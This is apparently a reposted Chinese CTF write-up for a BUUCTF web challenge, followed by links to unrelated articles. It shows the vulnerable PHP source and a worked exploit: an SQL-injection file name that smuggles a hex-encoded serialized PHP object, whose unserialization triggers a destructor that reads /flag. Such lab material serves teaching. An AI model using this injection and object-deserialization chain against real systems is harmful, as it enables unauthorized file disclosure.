78,【2】BUUCTF WEB .[安洵杯 2019]不是文件

进入靶场

解题过程

点击最下面的英文字即可上传图片

新建一个文本文档

里面内容为空

更改名字为

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

知道id=1,一般id是get方式传参,在url处补充?id=1

点击最下面的英文句子

看到flag

源码

upload.php

<!DOCTYPE html>
<html>
<head><!-- 设置网页的标题,会显示在浏览器的标签页上 --><title>Image Upload</title><!-- 引入外部的 CSS 样式表,用于美化页面 --><link rel="stylesheet" href="./style.css"><!-- 设置网页的字符编码为 UTF - 8,确保页面能正确显示各种字符 --><meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body><!-- 使用 p 标签并设置居中对齐,展示一张图片,图片的宽度为 300,注意这里 length 属性使用有误,应为 height --><p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 height=150></p><!-- 使用 div 标签将表单居中显示 --><div align="center"><!-- 创建一个名为 upload 的表单,表单提交的目标地址为空(表示提交到当前页面),使用 POST 方法,enctype 设置为 multipart/form - data 用于上传文件 --><form name="upload" action=""  method="post" enctype ="multipart/form-data" ><!-- 创建一个文件选择框,用户可以通过此选择要上传的文件 --><input type="file" name="file"><!-- 创建一个提交按钮,按钮上显示的文字为 submit --><input type="Submit" value="submit"></form></div><!-- 插入一个换行符 --><br> <!-- 创建一个链接,点击后会跳转到 show.php 页面,提示用户可以在此查看上传的图片 --><p><a href="./show.php">You can view the pictures you uploaded here</a></p><!-- 插入一个换行符 --><br><?php// 包含 helper.php 文件,该文件可能包含了一些辅助函数或类的定义include("./helper.php");// 定义一个名为 upload 的类,继承自 helper 类class upload extends helper {// 定义一个公共方法 upload_base,用于调用父类的 upload 方法public function upload_base(){$this->upload();}}// 检查 $_FILES 数组是否存在(即是否有文件被上传)if ($_FILES){// 检查上传文件是否有错误if ($_FILES["file"]["error"]){// 如果有错误,终止脚本并输出上传失败的提示信息die("Upload file failed.");}else{// 如果没有错误,创建一个 upload 类的实例$file = new upload();// 调用 upload_base 方法来处理文件上传$file->upload_base();}}// 创建一个 helper 类的实例,这里创建实例但未使用,可能后续代码会用到$a = new helper();?>
</body>
</html>

show.php

<!DOCTYPE html>
<html>
<head><!-- 设置页面标题,会显示在浏览器标签栏 --><title>Show Images</title><!-- 引入外部 CSS 样式表,用于美化页面 --><link rel="stylesheet" href="./style.css"><!-- 设置页面的字符编码为 UTF - 8,确保正确显示各种字符 --><meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body><!-- 显示一个居中对齐的二级标题 --><h2 align="center">Your images</h2><!-- 显示一段提示信息,告知用户查看图片功能未完成,目前仅保存图片名称 --><p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p><!-- 插入一条水平线 --><hr><?php// 包含 helper.php 文件,可能包含一些辅助函数或类include("./helper.php");// 创建 show 类的一个实例$show = new show();// 检查 URL 参数中是否有 delete_allif($_GET["delete_all"]){// 检查 delete_all 参数的值是否为 trueif($_GET["delete_all"] == "true"){// 调用 show 类的 Delete_All_Images 方法删除所有图片记录$show->Delete_All_Images();}}// 调用 show 类的 Get_All_Images 方法获取并显示所有图片信息$show->Get_All_Images();// 定义 show 类,用于处理图片显示和删除操作class show{// 定义一个公共属性 $con,用于存储数据库连接对象public $con;// 构造函数,在创建类的实例时自动调用public function __construct(){// 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");// 检查数据库连接是否失败if (mysqli_connect_errno($this->con)){ // 如果连接失败,终止脚本并输出错误信息die("Connect MySQL Fail:".mysqli_connect_error());}}// 定义 Get_All_Images 方法,用于获取并显示所有图片信息public function Get_All_Images(){// 定义 SQL 查询语句,用于从 images 表中选取所有记录$sql = "SELECT * FROM images";// 执行 SQL 查询,并将结果存储在 $result 变量中$result = mysqli_query($this->con, $sql);// 检查查询结果中是否有记录if ($result->num_rows > 0){// 如果有记录,逐行遍历结果集while($row = $result->fetch_assoc()){// 检查图片的 attr 字段是否有值if($row["attr"]){// 对 attr 字段的值进行处理,将 \0\0\0 替换为 \0*\0$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);// 对处理后的 attr 字段值进行反序列化$attr = unserialize($attr_temp);}// 输出图片的 id、文件名和路径信息echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";}} else {// 如果没有记录,输出提示信息echo "<p>You have not uploaded an image yet.</p>";}// 关闭数据库连接mysqli_close($this->con);}// 定义 Delete_All_Images 方法,用于删除 images 表中的所有记录public function Delete_All_Images(){// 定义 SQL 删除语句,用于删除 images 表中的所有记录$sql = "DELETE FROM images";// 执行 SQL 删除语句$result = mysqli_query($this->con, $sql);}}?><!-- 创建一个链接,点击后会调用 Delete_All_Images 方法删除所有图片记录 --><p><a href="show.php?delete_all=true">Delete All Images</a></p><!-- 创建一个链接,点击后跳转到 upload.php 页面进行图片上传 --><p><a href="upload.php">Upload Images</a></p></body>
</html>

helper.php

<?php
// 定义一个名为 helper 的类,该类包含了处理图片上传、文件检查、数据保存等功能的方法
class helper {// 定义一个受保护的属性 $folder,用于指定图片上传后的存储文件夹protected $folder = "pic/";// 定义一个受保护的属性 $ifview,用于控制查看文件功能是否开启,初始值为 Falseprotected $ifview = False; // 定义一个受保护的属性 $config,用于指定配置文件的名称protected $config = "config.txt";// 注释提示查看文件功能尚未完善,暂未开放/*** 处理文件上传的方法* @param string $input 上传文件的表单字段名,默认为 "file"*/public function upload($input = "file"){// 调用 getfile 方法获取上传文件的信息$fileinfo = $this->getfile($input);// 初始化一个空数组,用于存储文件相关信息$array = array();// 将文件的标题信息存入数组$array["title"] = $fileinfo['title'];// 将文件名信息存入数组$array["filename"] = $fileinfo['filename'];// 将文件扩展名信息存入数组$array["ext"] = $fileinfo['ext'];// 将文件存储路径信息存入数组$array["path"] = $fileinfo['path'];// 获取上传图片的尺寸信息$img_ext = getimagesize($_FILES[$input]["tmp_name"]);// 提取图片的宽度和高度信息存入新数组$my_ext = array("width" => $img_ext[0], "height" => $img_ext[1]);// 对图片尺寸信息进行序列化处理,并存入数组$array["attr"] = serialize($my_ext);// 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID$id = $this->save($array);// 检查保存操作是否成功,如果 ID 为 0 则表示出现问题,终止程序并输出错误信息if ($id == 0) {die("Something wrong!");}// 输出换行符echo "<br>";// 输出文件上传成功的提示信息,并显示文件记录的 IDecho "<p>Your images is uploaded successfully. And your image's id is $id.</p>";}/*** 获取上传文件信息的方法* @param string $input 上传文件的表单字段名* @return array 包含文件标题、文件名、扩展名和存储路径的数组*/public function getfile($input){// 检查输入的表单字段名是否存在if (isset($input)) {// 调用 check 方法对上传的文件信息进行检查和处理$rs = $this->check($_FILES[$input]);}// 返回处理后的文件信息数组return $rs;}/*** 检查上传文件的方法* @param array $info 上传文件的信息数组* @return array 包含处理后文件标题、文件名、扩展名和存储路径的数组*/public function check($info){// 生成一个唯一的文件名前缀,使用时间戳和唯一 ID 进行 MD5 加密后截取部分字符$basename = substr(md5(time() . uniqid()), 9, 16);// 获取上传文件的原始文件名$filename = $info["name"];// 提取文件的扩展名$ext = substr(strrchr($filename, '.'), 1);// 定义允许上传的图片文件扩展名数组$cate_exts = array("jpg", "gif", "png", "jpeg");// 检查上传文件的扩展名是否在允许的扩展名数组中if (!in_array($ext, $cate_exts)) {// 如果不在允许范围内,终止程序并输出错误提示信息die("<p>Please upload the correct image file!!!</p>");}// 去除文件名中的扩展名,得到文件标题$title = str_replace("." . $ext, '', $filename);// 返回包含文件标题、处理后的文件名、扩展名和存储路径的数组return array('title' => $title, 'filename' => $basename . "." . $ext, 'ext' => $ext, 'path' => $this->folder . $basename . "." . $ext);}/*** 保存文件信息到数据库的方法* @param array $data 包含文件信息的数组* @return int 保存记录的 ID*/public function save($data){// 检查传入的数据是否为空或不是数组类型if (!$data || !is_array($data)) {// 如果不符合要求,终止程序并输出错误信息die("Something wrong!");}// 调用 insert_array 方法将数据插入数据库,并获取插入记录的 ID$id = $this->insert_array($data);// 返回插入记录的 IDreturn $id;}/*** 将数组数据插入数据库的方法* @param array $data 包含文件信息的数组* @return int 插入记录的 ID*/public function insert_array($data){// 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名$con = mysqli_connect("127.0.0.1", "r00t", "r00t", "pic_base");// 检查数据库连接是否失败if (mysqli_connect_errno($con)) {// 如果连接失败,终止程序并输出错误信息die("Connect MySQL Fail:" . mysqli_connect_error());}// 初始化一个空数组,用于存储 SQL 语句中的字段名$sql_fields = array();// 初始化一个空数组,用于存储 SQL 语句中的字段值$sql_val = array();// 遍历传入的数据数组foreach ($data as $key => $value) {// 对字段名进行处理,将特定字符替换为 \0\0\0$key_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $key);// 对字段值进行处理,将特定字符替换为 \0\0\0$value_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $value);// 将处理后的字段名添加到字段名数组中,并添加反引号$sql_fields[] = "`" . $key_temp . "`";// 将处理后的字段值添加到字段值数组中,并添加单引号$sql_val[] = "'" . $value_temp . "'";}// 构建插入数据的 SQL 语句$sql = "INSERT INTO images (" . (implode(",", $sql_fields)) . ") VALUES(" . (implode(",", $sql_val)) . ")";// 执行 SQL 插入语句mysqli_query($con, $sql);// 获取插入记录的 ID$id = mysqli_insert_id($con);// 关闭数据库连接mysqli_close($con);// 返回插入记录的 IDreturn $id;}/*** 查看文件内容的方法* @param string $path 文件的路径* @return bool|void 如果查看功能未开启,返回 False;否则输出文件内容*/public function view_files($path){// 检查查看功能是否开启if ($this->ifview == False) {// 如果未开启,返回 Falsereturn False;}// 读取指定路径文件的内容$content = file_get_contents($path);// 输出文件内容echo $content;}/*** 析构函数,在对象销毁时调用*/function __destruct(){// 注释提示会读取一些配置 HTML 文件// 调用 view_files 方法读取配置文件内容$this->view_files($this->config);}
}?>

解题思路

由于 $array 数组中有 title、filename、ext、path、attr 这 5 个键 - 值对,所以在遍历过程中,$sql_fields 数组就会对应生成 5 个列名(即 title、filename、ext、path、attr 处理后的形式),$sql_val 数组也会对应生成 5 个值,以满足构建 INSERT INTO 语句时列名和对应插入值数量匹配的要求,这样才能正确地将数据插入到 images 表中。

show.php会进行反序列化

而attr存储的是图片的宽度和高度

payload

<?php
class helper {protected $ifview = True; protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

文件名中不能有双引号,所以将payload进行16进制编码 

string = 'O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}'
hex_encoded = string.encode('utf - 8').hex()
print(hex_encoded)

得到4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d


最后用#注释掉值,防止报错

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/7450.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git 如何将旧仓库迁移新仓库中,但不显示旧的提交记录

一、异常错误 场景&#xff1a;我想把旧仓库迁移新仓库中&#xff0c;放进去之后&#xff0c;新仓库会显示这个项目之前的所有提交&#xff0c;如何不显示这些旧的提交&#xff1f; 二、原因 我们需要将旧仓库迁移新仓库中&#xff0c;但是又不想在新仓库中显示旧的提交记录…

Mysql索引(学习自用)

目录 一、索引概述 优缺点 二、索引结构 1、索引数据结构 2、索引支持结构 3、B树 4、B树 5、hash索引 6、为啥采用B树索引 三、索引分类 四、索引语法 五、索引性能分析 5.1查看执行频率 5.2慢查询日志 5.3profiling 5.4explain 六、索引使用规则 6.1验证索…

PSD是什么图像格式?如何把PSD转为JPG格式?

在图形设计的世界里&#xff0c;Photoshop 文档&#xff08;PSD&#xff09;格式是 Adobe Photoshop 的原生文件格式&#xff0c;它允许设计师保存图像中的图层、蒙版、透明度和不同色彩模式等信息。对于需要进一步编辑的设计作品来说&#xff0c;PSD 文件提供了极大的灵活性。…

基于物联网的风机故障检测装置的设计与实现

1 系统总体设计方案 通过对风机故障检测装置的设计与实现的需求、可行性进行分析&#xff0c;本设计风机故障检测装置的设计与实现的系统总体架构设计如图2-1所示&#xff0c;系统风机故障检测装置采用STM32F103单片机作为控制器&#xff0c;并通过DS18B20温度传感器、ACS712电…

全面评测 DOCA 开发环境下的 DPU:性能表现、机器学习与金融高频交易下的计算能力分析

本文介绍了我在 DOCA 开发环境下对 DPU 进行测评和计算能力测试的一些真实体验和记录。在测评过程中&#xff0c;我主要关注了 DPU 在高并发数据传输和深度学习场景下的表现&#xff0c;以及基本的系统性能指标&#xff0c;包括 CPU 计算、内存带宽、多线程/多进程能力和 I/O 性…

websocket实现

由于安卓资源管理器展示的路径不尽相同,各种软件保存文件的位置也不一定一样.对于普通用户上传文件时,查找文件可能是一个麻烦的事情.后来想到了一个办法,使用pc端进行辅助上传. 文章目录 实现思路1.0 实现定义web与客户端通信数据类型和数据格式web端websocket实现web端对客户…

【科研建模】Pycaret自动机器学习框架使用流程及多分类项目实战案例详解

Pycaret自动机器学习框架使用流程及项目实战案例详解 1 Pycaret介绍2 安装及版本需求3 Pycaret自动机器学习框架使用流程3.1 Setup3.2 Compare Models3.3 Analyze Model3.4 Prediction3.5 Save Model4 多分类项目实战案例详解4.1 ✅ Setup4.2 ✅ Compare Models4.3 ✅ Experime…

CY T 4 BB 5 CEB Q 1 A EE GS MCAL配置 - MCU组件

1、ResourceM 配置 选择芯片信号: 2、MCU 配置 2.1 General配置 1) McuDevErrorDetect: - 启用或禁用MCU驱动程序模块的开发错误通知功能。 - 注意:采用DET错误检测机制作为安全机制(故障检测)时,不能禁用开发错误检测。2) McuGetRamStateApi - enable/disable th…

docker 安装 mysql 详解

在平常的开发工作中&#xff0c;我们经常需要用到 mysql 数据库。那么在docker容器中&#xff0c;应该怎么安装mysql数据库呢。简单来说&#xff0c;第一步&#xff1a;拉取镜像&#xff1b;第二步&#xff1a;创建挂载目录并设置 my.conf&#xff1b;第三步&#xff1a;启动容…

【2025年数学建模美赛E题】(农业生态系统)完整解析+模型代码+论文

生态共生与数值模拟&#xff1a;生态系统模型的物种种群动态研究 摘要1Introduction1.1Problem Background1.2Restatement of the Problem1.3Our Work 2 Assumptions and Justifications3 Notations4 模型的建立与求解4.1 农业生态系统模型的建立与求解4.1.1 模型建立4.1.2求解…

编码器和扩散模型

目录 摘要abstract1.自动编码器2.变分编码器&#xff08;VAE&#xff09;3.论文阅读3.1 介绍3.2 方法3.3 结论 4.总结参考文献 摘要 本周学习了自动编码器&#xff08;AE&#xff09;和变分自动编码器&#xff08;VAE&#xff09;的基本原理与实现&#xff0c;分析其在数据降维…

【C++】类与对象初级应用篇:打造自定义日期类与日期计算器(2w5k字长文附源码)

文章目录 一、日期类的实现1. 日期类的默认成员函数的分析与实现构造函数其它默认成员函数 2. 各种逻辑比较运算符重载3. 日期加与减天数日期加天数系列日期减天数系列日期加减天数的最后修定和- -系列 4. 日期减日期方法一方法二 5. 流插入与流提取重载流插入重载流提取重载(含…

Redis实战(黑马点评)——关于缓存(缓存更新策略、缓存穿透、缓存雪崩、缓存击穿、Redis工具)

redis实现查询缓存的业务逻辑 service层实现 Overridepublic Result queryById(Long id) {String key CACHE_SHOP_KEY id;// 现查询redis内有没有数据String shopJson (String) redisTemplate.opsForValue().get(key);if(StrUtil.isNotBlank(shopJson)){ // 如果redis的数…

ThinkPhp伪静态设置后,访问静态资源也提示找不到Controller

ThinkPhp没有配置伪静态时&#xff0c;除了默认的IndexController能访问&#xff0c;其他路由Controller都访问不到&#xff0c;提示404错误。配置了伪静态后就解决了这个问题。 但是当我的ThinkPhp后台项目中有静态资源放在public目录&#xff08;或子目录&#xff09;中需要…

2013年蓝桥杯第四届CC++大学B组真题及代码

目录 1A&#xff1a;高斯日记&#xff08;日期计算&#xff09; 2B&#xff1a;马虎的算式&#xff08;暴力模拟&#xff09; 3C&#xff1a;第39级台阶&#xff08;dfs或dp&#xff09; 4D&#xff1a;黄金连分数&#xff08;递推大数运算&#xff09; 5E&#xff1a;前缀…

【数据分享】1929-2024年全球站点的逐月平均能见度(Shp\Excel\免费获取)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、湿度等指标&#xff01;说到气象数据&#xff0c;最详细的气象数据是具体到气象监测站点的数据&#xff01; 有关气象指标的监测站点数据&#xff0c;之前我们分享过1929-2024年全球气象站点…

【动态规划】--- 斐波那契数模型

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 算法Journey &#x1f3e0; 第N个泰波那契数模型 &#x1f4cc; 题目解析 第N个泰波那契数 题目要求的是泰波那契数&#xff0c;并非斐波那契数。 &…

单片机-STM32 WIFI模块--ESP8266 (十二)

1.WIFI模块--ESP8266 名字由来&#xff1a; Wi-Fi这个术语被人们普遍误以为是指无线保真&#xff08;Wireless Fidelity&#xff09;&#xff0c;并且即便是Wi-Fi联盟本身也经常在新闻稿和文件中使用“Wireless Fidelity”这个词&#xff0c;Wi-Fi还出现在ITAA的一个论文中。…

计算机的错误计算(二百二十二)

摘要 利用大模型化简计算 实验表明&#xff0c;虽然结果正确&#xff0c;但是&#xff0c;大模型既绕了弯路&#xff0c;又有数值计算错误。 与前面相同&#xff0c;再利用同一个算式看看另外一个大模型的化简与计算能力。 例1. 化简计算摘要中算式。 下面是与一个大模型的…

ansible自动化运维实战--软件包管理模块、服务模块、文件模块和收集模块setup(4)

文章目录 一、软件包管理模块1.1、功能1.2、常用参数1.3、示例 二、服务模块2.1、功能2.2、服务模块常用参数2.3、示例 三、文件与目录模块3.1、file功能3.2、常用参数3.3、示例 四、收集模块-setup4.1、setup功能4.2、示例 一、软件包管理模块 1.1、功能 Ansible 提供了多种…